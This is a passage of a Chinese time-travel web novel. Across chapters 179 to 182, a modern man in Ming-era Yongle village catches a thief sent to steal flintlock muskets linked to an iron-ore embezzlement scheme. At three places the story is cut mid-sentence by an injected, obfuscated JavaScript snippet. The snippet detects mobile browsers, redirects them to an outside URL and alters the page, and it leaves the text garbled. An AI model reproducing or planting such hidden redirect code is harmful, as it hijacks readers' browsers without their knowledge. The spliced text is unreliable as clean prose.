不得已,只能偷摸摸走了两趟,他才把火绳枪运到旁边的树林里,用早就准备好的布包了起来,扫了点落叶掩盖了下。 然后这个道上有名的给钱就办事的独行客,在河边找了块石头,蛰伏了下来。 还有两杆在院内主人的屋子里。 他需要等到晚上,才能去拿。 雇主特意说过,绝对不能伤人性命……那就只能等到屋主人睡着了,然后下点药,再进去拿咯。 姬友命的计划很简单,但是他却屡试不爽。 有时候,越简单越有效。 姬友命微微一笑,胸有成竹地开始小憩起来。 朱安宁自然是不知道有人盯上了他。 他现在正在痛苦面具。 原本能在知识上给他带来压力的人是朱橚,但是朱橚已经离开了啊! 替换上场的人是方孝孺。 他正拿着那份注解,追着朱安宁问个不停。 “知是行之始,行是知之成。是何解……” “天地虽大,但有一念向善,心存良知,虽凡夫俗子,皆可为圣贤。是否言之太过!” 朱安宁好想逃。 幸好有朱棣。 是他出手解救了朱安宁。 “方希直,过来洗碗!!!” 第一百七十九章 记明朝的一起车祸 朱棣正在骂人。 因为他们的碗,都被某个大才子给洗破了,碗碟俱灭,高效又麻利。 “治国平邦安天下是吧,你的四书五经里怎么没教你洗碗!” 两人在屋里拌了两句嘴。 方孝孺知道是自己错了,还嘴力度不够,这场闹剧很快就结束了。 朱安宁瞄了眼,确定没有打起来后,便也回到了房车里。 只要不打起来就行……虽然他也对方孝孺很恼火。 怎么会有这么笨手笨脚的人,简直就是人才。 全部碗碟破碎,现场那是惨不忍睹…… 但是朱安宁还是忍了。 没有再追着自己问文言文就好…… 他现在只想赶紧回到房车里洗个澡,然后慢慢整理资料,预备到时给那群农夫职业培训用……可以的话,他还想赶紧把阳明先生的注释提前背一背,省得到时方孝孺追问又漏底…… 因为某些莫名的情绪,朱安宁既怕方孝孺追问东西,又很想在他面前装逼…… 他没有注意到的是,高高的围墙上,冒了个脑袋出来。 姬友命已经摸到了朱安宁的院子外,趁着夜色,在远处偷偷观察着这房车和人。 “这是何物……房子?”姬友命那个角度,刚好在朱安宁开门时看到了桌子下长长的火绳枪:“哟,就这么放着,得来全不费工夫啊。” 姬友命感叹了一声自己运气好,趴在墙头上是一动不动,反正那个角落黑不溜秋,他也不担心被发现,就这样等了起来。 他需要等到朱安宁睡着,然后寻个小洞口,把迷烟灌进去,然后再利用他的手艺,把门拉开,把枪拿走,就完事咯。 多么完美的计划。 除了那房子有点奇怪之外,好像也没什么了。 事情顺风顺水,姬友命心情大好。 车里的朱安宁也是。 因为他翻到了辅导书上有不少王阳明的拓展阅读。 有了版本答案,心里一下就不慌了。 他也终于得以沉下心来,弄资料。 朱安宁想明天趁着村席,宣布这件事情。 毕竟人齐,自己又刚好升官,村民们应该不会拂了自己面子吧。 给村民们讲的内容,必须要和那些学童们区分开。 都是会种田的人,不需要给他们讲那么多理论,就是实践就行! 朱安宁开始拿出纸笔,开始抄电脑里的资料。 为了避免麻烦,他还是习惯性地拉起了帘子,省得漏光出去,又把方孝孺招来就好笑了…… 良久,月上树梢之时。 姬友命掐了个时间,觉得差不多到点了。 果断地一把翻了进去。 只是,他不知道的是…… 房车里的朱安宁,是现代人。 晚上不舍得睡觉,完了早上又起不来的现代人…… 根本就不会按你古人作息走…… 此时的朱安宁确实是关灯了,但是他根本就没有睡觉,他在玩帝国时代2,没网的情况下,这台ThinkPad里还是有不少单机的。 毫不知情的姬友命,就这般摸了上去。 能躲过朱标朱元璋设置的暗哨明哨,在永乐庄里进出自如的他,自然是有两把刷子的。 他脚步轻盈,没有发出任何声响,融在暗夜中,很快就到了朱安宁的房车边上。 借着月光,他好奇地绕行了一圈,只觉得这房子好是神奇,似铁摸着又不是,还带轮子…… 而后,他发现了一个很严肃的问题。 这个奇怪的房子,窗……好像也是很奇特的构造…… 不是纸糊的……那他拿头去往里喷迷烟啊…… 姬友命沉默了良久,最后只能是不死心地用手按了下那亚克力窗户,确定了,这东西是硬的。 完了车头他也看了两眼,虽未见过如此透亮的琉璃,但是想来自己的管子也是捅不进去的。 这一下让他犯了难。 其实犯难的不止他一人。 车里的朱安宁也犯了难。 他只是打个哈欠,扭了扭头松一下而已。 毕竟屯兵阶段是很无聊的。 然后他便看到了车里的四路监控显示的画面…… 一个人鬼鬼祟祟的在他车四周转来转去…… 最后还摸了摸他的窗户…… 这一身黑衣服,连猜都不用猜…… 是贼…… 于是,车里的人和车外的人都犯了难。 看着那贼人最后居然蹲了下来,似乎是开始观察自己房车的下方,大概是在想办法进来? 朱安宁知道不能再等了。 车子,他是有日常维护的。 方法很简单,院子里没人的时候偶尔启动一下就好。 朱安宁并没有忘记这是一台车。 他拿好了钥匙,一个箭步,便冲到了驾驶室,果断的启动了引擎。 姬友命,此时还在观察车底,他只觉得这构造完全看不懂却又很巧妙的样子,然后,两盏大灯晃得他一阵眼晕。 引擎的轰鸣声更是让他骇然,他第一反应是上房顶,跳出到院子外就安全了。 于是他径直往车头冲来,看着就方便借力爬上去。 这个动作让朱安宁是一阵茫然…… 这贼……好牛逼! 感叹了一声,朱安宁也没有再犹豫,他一脚油门,速度不算快,但是,这个吨位,撞一个贼人……那是太简单了。 两秒的时间,加速到四十迈有难度。 但是这是混动的车,加速始终还是比柴油车要快得多。 于是姬友命成为了明朝,第一个遭遇车祸的,可怜人。 没有什么多余的动作,动量守恒,他获取到了极大的动能,足以让他,暂时脱离地球引力。 他在扑腾到地上之前,唯一的想法就是。 “这踏马是房子啊,虽然带了轮子,怎么突然就动了呢?!为什么呢?” 噗通…… 这一声动静自然是不小。 朱棣和方孝孺也不是聋子。 特别是朱棣,他是最为警觉的。 所以当姬友命扑腾到地面的时候,他衣裳都没穿好就冲了出来。 “贼人?!” 朱安宁并没有关车灯,所以朱棣简单就看清楚了地上的那人。 此时朱安宁也恰好下车,脸色铁青。 撞人可不是什么好的体验,而且他也不知道自己有没把人撞死……想来应该不会,速度又不快。 但是他启动车时,那个贼人冲向车的动作还是震撼到了他…… 真是飚啊。 两人都小心翼翼地绕着姬友命看了两圈。 最后是朱棣咬牙蹲了下去,只见那姬友命只是暂时被撞懵逼了,其实并没有什么大碍,他正想挣扎起身。 看到贼人有动作的朱棣,哪能放过。 那是直接一拳干到了他脑袋上…… 这次,敢和卡车对撞的姬友命,是终于晕了过去。 朱棣脸色一阵发白,毕竟刚才还是有些紧张的。 “小燕,你不是把他打死了吧……你照着他脑袋打的啊……” “应该不会吧……”朱棣连忙摸了摸姬友命的鼻息:“没死……朱哥,这什么情况?这贼人偷东西?” 朱棣还是有些发蒙。 毕竟他躺在床上迷迷糊糊。 外面突然有了大动静,便想都没想就直接冲了出来。 懵再正常不过。 而两人相顾无言的时候,方孝孺也跑了出来。 “贼人?!” 他惊呼一声,似乎是有些怕的样子。 “怕什么,晕了!”朱棣鄙夷地看了眼方孝孺,然后又转头看向朱安宁:“朱哥,要不要和驿站的卫兵说一声,他们应该有人看值。“ 朱棣只觉得这是个普通贼人,虽然不知道怎么晕的……他只觉得交给卫兵们处理会比较好。 没想到朱安宁却一口叫停。 “等下!”他喊了声:“人先捆起来……明早再说……” “啊???” 这次不仅是朱棣懵了,连方孝孺都不可置信地看向了朱安宁。 贼人不交给官家,自己捆起来是什么操作。 只见朱安宁踱步了许久。 他也不太肯定自己的判断,但是他觉得这事是在是太巧合了! 只见他咬牙沉默了片刻。 “小燕,捆好,稳妥点,我出去确认一件事情!” “诶?朱哥……” 朱安宁动身得很快。 朱棣和方孝孺都没有反应过来的时候,他已经跑到了门外。 远处的铁冶还有微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“此时不要声张,我来解决,你们两且守好夜就行,再有异动,找驿站或者来找我都行……不……直接找我就行。” “好好好……”两人连忙点头。 朱安宁却也没有管那么多,直接快步离开了铁冶。 没错了,那贼人就是来拿自己车里的枪的。 虽然不知道他是怎么得知这件事情的。 但是铁冶每天进进出出人也不少,瞒是瞒不住的,有心人只要想打听在,自然能知道枪在自己那里。 现在这事该如何解决,朱安宁心中已经有了定数。 他三步并两步冲回了院中。 只见朱棣正把晕了过去的姬友命,死死地捆在凳子上,手法看着就熟练。 方孝孺却在一边啧啧称奇地看着朱安宁的车头大灯。 他只觉得这灯好是神奇,也没看到哪里点燃的,却如此之亮,若是给自己的话,那岂不是晚上都可以读书? 朱安宁也没管方孝孺,他直接就走到了朱棣身边,把他拉到了墙角。 “小燕……咳……你应该是能叫得动驿站那些卫兵的,对吧。” 朱安宁突然问了个没头没脑的问题。 朱棣却在心里咯噔了一下,叫是叫得动,这是否意味着朱哥已经知道了…… “可以……” 他闷声回答,突然有点不知所措。 朱安宁却拍了拍他的肩膀,示意他冷静。 “小燕,去叫卫兵,通知一下你大哥可以么?让他明早尽快赶过来。” “这不就一个贼人么……需要惊动大哥?”听着朱安宁应该是已经知道了自己的身份,朱棣也慢慢说得直白。 “你就说,少詹事,有要事汇报,这贼人和火绳枪以及一宗贪墨案有关,我需要你大哥……咳咳他过来,晚了我怕我们这边不安全。” “火绳枪?贪墨?”这两个词都不是什么小事,朱棣的脸庞也严肃了起来:“当真?” “信我,赶紧去,去完赶紧回来……别一会这贼人还有同伙,我和方孝孺加起来可能都撑不过对方两拳……” “好……我现在就去!” 第一百八十章 朱哥你好细 亲卫突然急报了一封密信上来,署名的人是朱棣。 还在深夜加班的朱标和朱元璋打开了信件,内容正是事关贪墨,火绳枪,望大哥速到永乐庄。 “贪墨?!”老朱看见这两个字,脸就已经黑了下来:“永乐庄能有什么贪的……莫非是铁冶???” 朱元璋在那咬牙切齿:“赵集也有问题?” 当他看完毛骧给的密报后,是看哪个官员都不顺眼…… 只觉得人人都是贪官。 但是朱标并没有这般认为,赵集的性格太突出了,不然也不会被他调去造新型火器。 他总觉得一定有情况,但是绝不是自己父亲想的这般。 “父皇,你莫要急,我明早去看一下?” “去……去给咱看看究竟是什么情况!” 这密信对朱棣来说,其实也是莫名其妙。 他是根本不知道其中的隐情的,只道是朱哥叫他做,他便做了…… 朱棣去给驿站卫兵们报信的速度很快。 他确实也是担心朱安宁和方孝孺……不对,方孝孺他是没怎么担心的,死了拉倒。 回院子的速度很快,他踏入那一刻,便松了口气。 因为没有其他贼人,朱安宁和方孝孺正安安稳稳地坐在那里。 朱安宁早已关掉了汽车引擎,换成了用遮阳棚边上的灯,饶是如此,也是让方孝孺啧啧称奇,但是不管他怎么问,朱安宁只是说发光石……就是发光石…… 以至于问烦了,朱安宁直接就懒得管方孝孺了。 他端着脸,还是尝试理解今晚事情的来龙去脉以及明天的打算。 朱标应该是能叫过来的…… 但是他忽略了一件事情,那便是朱元璋会不会也跑过来…… 讲真,面对朱标他还有几分淡定,朱标在历史上那是评价甚好,有儒风,仁义。 况且自己现在这官也是挂在他朱太子的名下,你说他没有首肯,朱安宁也是打死不信的。 直系领导总不能害了自己吧。 但是朱元璋就不一定了…… 他无奈地叹了口气,只觉得走一步看一步吧。 恰好此时,朱棣推门进来。 两人对视了一眼,朱棣终于是没能忍住,直接问了出来。 “朱哥,贪墨?还有这贼人和火绳枪有什么关系?难道是别国的细作知道了我们有新式武器,来偷盗了?” “你想象力真丰富……” 朱安宁也是忍不住嗤笑了一声。 让朱棣多少有些无语。 “对了,方孝孺,这边没什么事了,你明早还有早课,早点休息?” 朱安宁这番话很是直接。 还是那个说法,方孝孺是犟种,不是弱智或者0情商,他听懂了朱安宁的意思当即就起了身,点了点头。 这少詹事加皇子,要聊天,况且今晚情况还这么诡异…… 只是,他犹豫了片刻,还是开了口。 “朱先生,您这发光石……晚上我可以在院子这里看书么?” 他提了个无厘头的要求。 朱安宁也懒得拒绝,便挥了挥手。 “看看看,让你看个饱。” 方孝孺原本心情很是忐忑,他自己也觉得这个要求好像有点过。 发光石怎么看都是宝贝,自己厚颜无耻去问,没想到朱安宁真的答应了。 这让他大喜过望,竟是直接行了个大礼。 “谢过朱先生,朱先生真乃……” “行了行了,不用拍马屁了,就你这拍马屁技术算吧了……赶紧回屋!” “好……” 方孝孺本想引经据典,来上一段,结果被朱安宁寸止,虽有些不爽,但是一想到自己晚上都可以用如此亮堂的发光石看书,那真是人生一大乐事!便也没有不高兴,而是屁颠屁颠地回了屋里。 于是,院子就剩下一个被捆的严严实实的姬友命,还有朱安宁和朱棣。 两人也不确定姬友命是真还在晕或者是在装死。 反正聊天内容是万万不能被他听见的,便往后挪了挪距离,准备说悄悄话。 两人一起移动到了树后。 朱棣是盯着朱安宁,就是等他的解释了。 朱安宁沉默了良久,才开口道。 “火绳枪有问题。”他说话的声音并不大。 但是却如惊雷般在朱棣的耳边炸开。 火绳枪有问题? 要知道朱棣可是对火绳枪寄予厚望的,他都已经幻想好自己封狼居胥名留青史,成为一代伟大藩王的场景了。 结果朱安宁却突然跟他说火绳枪有问题,他表情立马就扭曲了起来,声调都高了不少。 “朱哥,什么情况?这个可开不得玩笑啊!” 这副模样也是把朱安宁吓了一跳,话说今晚怎么全是惊吓…… “你小声点小声点,能不能听我好好说完先,急毛线啊!” 他忍不住骂了两声。 有点想像平时那样一巴掌扇过去……拍他的脑袋…… 但是突然他又想起,眼前的人是永乐大帝…… 手便僵在了那里。 连带着朱 棣都愣了愣…… 两人一时间都有些尴尬。 而后,令朱棣没想到的是,那僵着的手,却又在犹豫了片刻后,扇了下去,打到了他的脑袋上。 “哎哟!” “都说小声点了!” 熟悉的打击感,熟悉的被打感。 而这次朱棣没有恼火,甚至没有争论。 他在愣了片刻后,突然咧嘴笑了起来。 “嘿嘿……” “玛德抖M啊……”朱安宁也是笑了起来,然后心情居然突然又松了不少。 永乐大帝个屁,现在他连就藩都还没就,朱元璋儿子而已! 是帮自己耕田、愿意给学堂的孩童们上课的好同志! 是在自己的改造下,有机会抛却封建糟粕的好少年! 扇就扇了! 朱棣自然是听不懂抖M是什么意思,但是他却觉得高兴极了。 朱哥又愿意打自己了! “小燕,火绳枪不是全都有问题,而是有一批,是用库房堆的一些铁器回炉再造出来的……” 朱安宁开始解释事情的来龙去脉。 “铁器回炉,很常见啊……”朱棣却还是觉得奇怪。 “是很常见,但是这批铁器,是我们提前就知道有问题的。” “啊?”这声啊是疑问。 “应天府供给工部虞衡清吏司的铁矿石,是有问题的。” “啊?!”这声啊是震惊,或者说是震怒。 朱棣倏地站了起来,目露凶光。 他一下就想通了朱安宁要他写的贪墨两个字是什么情况了。 铁矿石有问题,为什么会有问题? 这太好理解了。 “怎么敢!” “怎么不敢,如果有一成的利润,某些人就会开始有想法,有两成的利润,他们就会开始想办法搞起来;有五成的利润,足够让铤而走险;为了一倍的利润,他们就敢践踏一切世间律法;有三倍的利润,他们就敢犯任何罪行,甚至冒抄家的危险。” 朱安宁沉默了片刻,说出了老马的名言…… 朱棣站在那,静静地听完了朱安宁的话。 少年依旧在愤怒。 “真的有人不怕死?” “怕啊!” “那……” “但是欲望,会蒙蔽他们……” 朱棣突然深呼吸了一口气,又重新坐了回去。 “朱哥,你继续说……” “虞衡清吏司的铁矿石有问题,我和赵大人早就知道了,但是一直没办法确定是谁搞得鬼,毕竟我们也没有查案的经验,更没有这个时间。” “那为何不上报?” “人在暗,我们在明,我们也不想死。” 朱安宁说得很是理所当然。 朱棣,也只能点头…… “所以我让赵集光明正大地调了一批出来,虞衡清吏司记事簿上写得一清二楚,调库的事情,啊……对了,这记事簿说不定现在已经被人改了,但是没关系,那本是我让赵集抄录的赝品,真的还在他身上。” 朱安宁微微一笑。 官场他不熟悉。 职场他还不熟悉? 刚毕业是他就当了不少背锅侠。 大学时刷网页刷手机听到的那些什么翻来覆去的重复工作,什么煞笔群记录,工作留痕,日报月报之类的东西,他是天天和舍友调笑的。 但是背了几次锅之后。 他留痕得比谁都勤快。 这种重复性工作,对于公司利润来讲可能帮助不大,但是对于个人来讲,竟是如此重要…… 这次铁矿石事情,朱安宁就是按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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知道要炸,还去用人试枪…… 这怎么想都不太好吧。 就算是封建社会,也是有点人道主义思想在的。 朱安宁听着朱棣的问题,却是直接咧嘴笑了起来。 这个问题,其实早前赵集就问过他。 他最初想的很简单,放到地上,点火,重复,直到炸膛就行。 第一把炸膛的枪他和赵集就是这般操作的。 只是,他现在有了更加自由皿煮的方案。 “你知不知道,这两天有不少官员开始弹劾赵集赵大人,弹劾的理由那是荒谬至极,说他御下不严。” “我最近没回应天府……哪知道……” “那你现在知道啦,你觉得突然弹劾赵大人,这么着急想安点罪名给他的人会是谁呢?” 朱安宁微微一笑,抛出了一个新问题。 “朱哥你的意思是这批人嫌疑最大?但是这也只是猜测啊……朝堂上你弹劾我我弹劾你,这再正常不过,不说普通官员,那批御史天天就喜欢干这事……总不能全部御史都有问题吧。” “有了猜测,那就可以想办法验证,比如,让他们去试一试,用供给虞衡清吏司的铁矿石,造出来的火力极其凶猛的火绳枪?” “……” 朱棣,听着朱安宁的虎狼之词,那是倒吸了一口凉气。 紧接着他龇着牙,露出了灿烂的笑容,还有,一根表示赞许的大拇指。 “朱哥,细!” “你能不能换个词……” 两人相视一笑,都在不约而同地开始想象他们试枪的样子。 而,他们没有注意到的是。 姬友命,没有睁开眼睛,但是手却微微挪动着,变魔术似地,变出了一片锋利的刀片。 绳子很紧。 朱棣是绑得很好的。 但是刀片也很锋利。 于是,有人在笑。 有人在逃跑。 宫里面的话,则有人在准备,早上,来永乐庄这里,看看情况。 至于永乐庄的村民们,都在期待明天的,流水席。 第一百八十一章 顺天,广阔天地,大有可为 院内的朱安宁和朱棣,聊完最重要的事情后,却也不敢睡下。 虽然朱棣很快就醒悟过来了,他是可以招侍卫过来看守院子的…… 当然他也确实这么做了…… 但是朱安宁很拒绝那些亲卫进来院子里,只让他们守在外面。 开玩笑,房车虽然是很多人看见过了,但是总不能谁都进来看两眼吧! 于是,朱棣也没得法子。 两人就只能大眼瞪小眼地看着姬友命,生怕他逃走,更怕还有其他贼人刺客一类的…… 中间朱安宁甚至怕这姬友命会不会死了。 让朱棣过去探了探鼻息…… 结果自然是还活着。 并且……都快要把绳子给割开了的那种。 只是姬友命迟迟不敢最后用力把这绳子给崩开。 毕竟两人还蹲在不远处。 这就变成了无比尴尬的场景。 两人不敢睡,一人不敢醒…… 院外的亲卫们更是战战兢兢。 什么鸡掰情况……这安稳了小半年的永乐庄,怎么突然就遭贼了…… 陛下不会鲨了自己这群人吧……三名亲卫都是有点想昏厥过去的感觉,在心里把周边的几个暗桩全家祖宗十八代给骂了个遍…… 所以现在就是,院内院外的人,都在生熬着。 朱安宁唯一拥有的主场优势便是,他回房车里,熬了一壶咖啡…… 即便朱棣不愿意,也硬灌了他两杯。 “朱哥……这玩意……好难喝啊……” “你得醒着……这东西是提神的,别一会我们睡了,什么贼人进来把我们宰喽……” “外面我都让侍卫们守着了,没事的……” “那这个呢,我们不得看着啊。” “为什么不交给侍卫们。” “驿所加起来就三人!又要保护我两,又要看着贼人,你搞笑呢?对了……咳咳,你爹没有布置什么暗桩么!你可是在这里的啊!应该有人保护你吧……” “暗桩,我也不知道在哪里啊……” “我……我俏丽嘛……” “啊?” “没事……” 两人都困得有点发癫的感觉,特别是朱安宁,说话都糊涂了不少。 远处的姬友命那是一阵无语。 这两人真就不睡了? 神经病啊…… 姬友命也很崩溃…… 生熬的几人,最后自然是朱安宁和朱棣顺利胜出。 原因很简单。 咖啡因。 朱棣很快就精神抖擞了起来。 朱安宁错误估计了一件事情,那就是,这古代人大概也许,对咖啡是要比自己敏感得多的,毕竟之前都没喝过。 “朱哥,你这黑乎乎的刷锅水,真的有用啊!” “什么刷锅水,这是咖啡……极西之地那些金发碧眼的洋人,老爱喝了。” “金发碧眼,洋人?他们有病啊,喜欢喝这种东西……” “可能真的有病吧……” 两人随便攀谈了几句,那是直接睡意,全无。 “对了,朱哥,你现在是知道我情况的了,你无所谓?”大概是困极又清醒,朱棣突然说出了之前不敢问的问题。 让朱安宁,陷入了良久的沉默。 皓月挂在树梢上,已经移动了许多。 乌云挪来挪去,都躲开了它,于是银辉洒落大地,映到了两人身上。 “我给你跪下?……”最后朱安宁是扯了个笑脸。 朱棣却也是慌了神。 “这……” “开玩笑的……” “只要你们没有觉得我大不敬,那我也只能当你们是人……不然,我能怎么样呢……当然了,你老爹,我还是有点怕的。” “我也怕……” 朱棣尴尬地笑了笑。 深夜的这种聊天。 其实很有意思。 不是醉酒后不清醒的醉话。 也不是白日完全清醒的状态。 两人现在是明明清醒着但是却又很累的状态。 朱棣突然聊起这敏感到不行的事情。 朱安宁也是没了脾气。 不过两人对朱元璋的认知,却是一致的。 于是两人便一同笑了起来。 “你干嘛那么怕我家老爷子……朱哥……” “能从那种混乱的局势中杀出来的人,只能是枭雄。” “我爹确实……很厉害……”朱棣突然感叹了一声。 朱安宁却是心跳漏了一拍。 他有点哭笑不得。 首先这个话题的开启,已经是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378785|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他心脏的巨大负荷了。 现在朱棣还在那里感叹自己老爹有多猛。 这个小伙子是不知道自己将来也很猛么…… 朱安宁抬头看了一眼朱棣。 还是无法和那个扯着腰带教训自己三个儿子的老年朱棣,联系到一起。 后者那是帝王。 现在这个,不要说藩王……你说是屌丝,朱安宁都信……毕竟是能和自己抢食的人。 不过,总归,朱安宁还是很佩服历史上那个朱棣的。 人人都说永乐二字不正。 但是这又如何。 永乐大帝的存在,就让文官们的小九九,变得无比小丑。 不管他们如何作妖。 永乐二字,都是中华历史上,五大盛世之一,更是开辟了下西洋这一壮举,完成了对北部的封杀,解决了安南这个地区的隐患。是当之无愧的,永乐大帝。 “其实你也挺厉害的。”半晕半醒之间,朱安宁感叹了一句。 却引来了朱棣的侧目。 “我?”他失笑道。 朱安宁也是立马回过了味来。 那是永乐大帝。 而不是现在的朱棣。 “你努努力,未来也能很厉害……” “真的?” “真的,你信我,我观星贼六……” “观星……父皇……呸,老爹说这尽是瞎几把扯淡。” “呃,你爹说得也没错……但是你到时不是要去顺天么,那里可是广阔天地,大有可为啊……” “先生当真!?” “别,你别那么激动!” 一看朱棣直接站了起来,朱安宁哪还敢继续说下去,直接就是闭口不再说这些破事,只敢给他倒咖啡…… …… 朱标很早就起来了。 当然,比起早朝的老朱还是要晚点。 毕竟今天他不用早朝,他需要的是在城门打开后出宫。 按照他的身份,本来是可以提前叫开城门的。 但是这样过于扎眼。 朱标不想如此。 他更想悄咪咪地出城。 不惊动任何人那种。 于是他只带了些侍卫跟在自己四周,就上路了。 永乐庄这地界他老熟了,他走起来是一点都不慢。 第一百八十二章 你怎么回来了? 今天的永乐庄,很是热闹。 成梁还是有两把刷子的。 同福楼的厨子加一大群永乐庄帮厨的大娘们,被他安排得妥妥当当。 一大群人清晨天未亮就开始忙活。 小院外的空地上,猛地就窜出了一大群人。 直接是把看着院门的其中一个亲卫给吓得刀都抽出来了。 朦胧的雾气还未散去。 也不怪他这般敏感。 毕竟他已经一夜没睡,加上精神有些紧绷。 在他视角看来,是不是什么军队打过来了…… 铁锅叮当的声音很是能刺激他的耳朵,让他误以为是敌方的武器。 “谁!” 他大喝了一声。 然后看到的便是一脸懵逼的成梁,还有他身后更加懵逼的厨子和帮工们。 “爷……你……你不是看驿站的么,怎么跑这来了?” 成梁作为现在朱安宁小院的管事,和这驿站的几个亲卫,都是认识的。 “啊?成管事……呼……”看清来人,那亲卫是长长地舒了口气。 背后是一阵冷汗。 刚才他看着这么一群人向自己涌来,只觉得只要准备保卫皇子以身殉国了…… 没想到是自己人。 “呃,就,就是说附近不是很太平,这朱大人不是升官了,我们守这里安心点……”他随口扯了个理由。 放平时成梁肯定是一个字都不信的,但是今天他太忙了,昨夜他是和几个人半夜在那里处理食材的,根本没怎么睡,所以他也不管那亲卫说的是真是假,便点了点头,回头开始安排大家起土灶台,开始准备今日的宴席。 像这种宴席,本村人是肯定会来吃的,约定俗成的,旁村的估计也会来不少,朱大人升官了这件事情,起码在永乐庄附近是传开的了。 铁冶那边,也陆续有工匠抵达,于是叮叮当当的一天,就这般开始了。 院内。 朱安宁和朱棣,早就已经是半昏厥的状态。 一晚上朱安宁都在和朱棣说他的职业教育的规划。 朱棣是早就被他改造过的新青年,一下就听懂了他的意思。 只有更多的受过基本教育的人,干活的效率才会更高。 他下田时其实就注意到了,不少老农是会听他们的意见说怎么种怎么种,但是最后在实际操作的时候,往往会变形。 这便是受教育不足的体现。 两人就有一句没一句地在那唠。 关于顺天府的事情,朱棣也是说开了,后面更是直接问朱安宁顺天那一块的农业规划该怎样农才靠谱。 没想到朱安宁一下就来劲了。 围绕着土豆又给朱棣讲了一大通。 基本就是这玩意完美适应顺天的气候,多种,多多种! 两人就这么聊着,直到天蒙蒙亮,这种时候是最折磨人的。 通宵过的都知道。 两人说着都开始不住地点头。 早就已经睡过一觉的姬友命,终于等来了他的机会。 他睁眼看了看慢慢闭上眼睛的两人,脸上终于浮现了笑容。 这两人是真能熬啊。 不过这究竟是什么情况,抓了自己就绑着,也不过来审问…… 也是自己做贼生涯里少见的了。 但是这无关紧要,现在最重要的是,看看能不能把怪房子里的东西给拿出来,然后赶紧离开这鬼地方…… 到了这个时候,非常有职业素养的姬友命还是没有放弃他的任务。 他微微挣脱开了绳子,没有发出一丝声响。 只见他趁着清晨的微光蹑手蹑脚地走到了房车边上,轻轻拉了拉那门。 朱安宁一晚上都在泡咖啡,嫌麻烦是没有关死的。 这给了姬友命机会。 他连忙拉开个角度,都不用上去,伸手便摸到了那会客区桌子下的枪。 连忙一把拉了出来。 他其实还是受了点伤的,朱安宁的车是铁做的,而他姬友命可是肉做的,这一撞,说完全没事,那是假的。 不过还在可以忍受的范围内。 他强忍着激动,拎着两把沉重得有些过分的枪,是依旧保持了安静的步伐。 那是相当的专业。 姬友命回头看了眼已经熟睡的两人,轻蔑地笑了声。 “我承认你绑的很专业,但是小爷我更专业,两位爷,后会无期咯。” 姬友命不会傻到直接走正门,因为他是看着朱棣似乎去外面叫人的了。 朱安宁家的围墙相当高,但是也阻碍不了这个专业的贼。 他听着外面热闹起来,便果断选了个安静的角落,爬到了墙头,确定没人后直接跳了下去。 森林里还有六杆枪,但是此时他远远地就看到铁冶那边已经有人影了,现在回去拿是相当不适宜的,而这里两杆枪,也不可能说就这样放在这里。 他咬了咬牙,决定把这两杆枪,带出永乐庄再说。 作为专业的贼,他早就摸清楚了各种小路,拖着两杆枪的他,直接就绕开了驿站和乡路,是来到了村口和官道的连接处那,也就是歪脖子树的所 在地。 他知道,只要上了官道就安全了。 这破地方清晨应该是不会有什么人来的。 上了官道,再找个隐秘的地方,藏起这两杆枪,就可以继续蛰伏起来等待机会回去拿那六杆了。 计划很美好。 可惜的是,当他从灌木丛里窜出来的时候,他遇见了一群人。 双方直接开始大眼瞪小眼。 朱标身后的侍卫,已经准备拔刀。 毕竟这窜出来的人,一看就鬼鬼祟祟。 而姬友命,却是更加无语。 他苦笑了片刻后,便瞬间有了决断。 丢枪跑路。 可惜…… 这个英明的决定,最后也是被证实是行不通的。 自从朱标被蓝玉那两个义子揍了一顿后,他身边的侍卫是明显加强的了。 受了伤的姬友命,哪跑得过这几个精英侍卫。 才迈开腿,就被按住。 “哎……我是出门没看黄历么?” 被壮汉狠狠按到泥地上的姬友命,发出了灵魂叹息。 ———————————————————— “朱哥醒醒!” “嗯?我草……我怎么睡这里了……” 院外很热闹。 热闹也代表了吵闹。 所以两人都醒了。 醒得是又懵逼又疲惫。 “人呢?”朱棣那是直接就跳了起来。 朱安宁反应也不慢,对于人,他更关心的是,枪! 他一把拉开房车门,然后心里陡然是凉了半截。 完犊子了。 这贼,好是专业。 “枪也没了……”朱安宁长叹一口气,有些颓然。 自己还是小看了古代官场。 盘内招盘外招,都是招…… 这偷枪一招,确实是简单又有效,还是自己疏忽了。 朱安宁叹着气走过去看了看那绳子。 “小刀割的,这贼真厉害……早知道就把他吊起来了……” “哎!朱哥,枪也没了?” “未必!我还真不信他一个人能扛走我八杆枪,麻辣隔壁的,肯定有些被他藏起来了!走,出去叫大伙帮忙找!” 朱安宁猛然想通了,自己造的枪,不说铁管,加上木质的部分,那重得要死,一个人必不可能全部拖走。 所以他是直接拉着朱棣就往外冲。 结果在此刻,门,打开了。 比起之前更是狼狈的姬友命,被朱标和他的侍卫押了进来,同行的还有两名侍卫,已经看着情况不是很对,一起回来的成梁。 院子一下,变得多人了起来。 看着那个狼狈的姬友命,朱棣也好朱安宁也好,那是一下就乐了。 “回来了?”朱安宁在发问。 朱棣更是恼火地上去扇了一掌:“真能跑啊……” 姬友命那是已经放弃挣扎了。 “回来了……”他甚至回答了朱安宁的问题。 然后又是熟悉的朱棣捆绑。 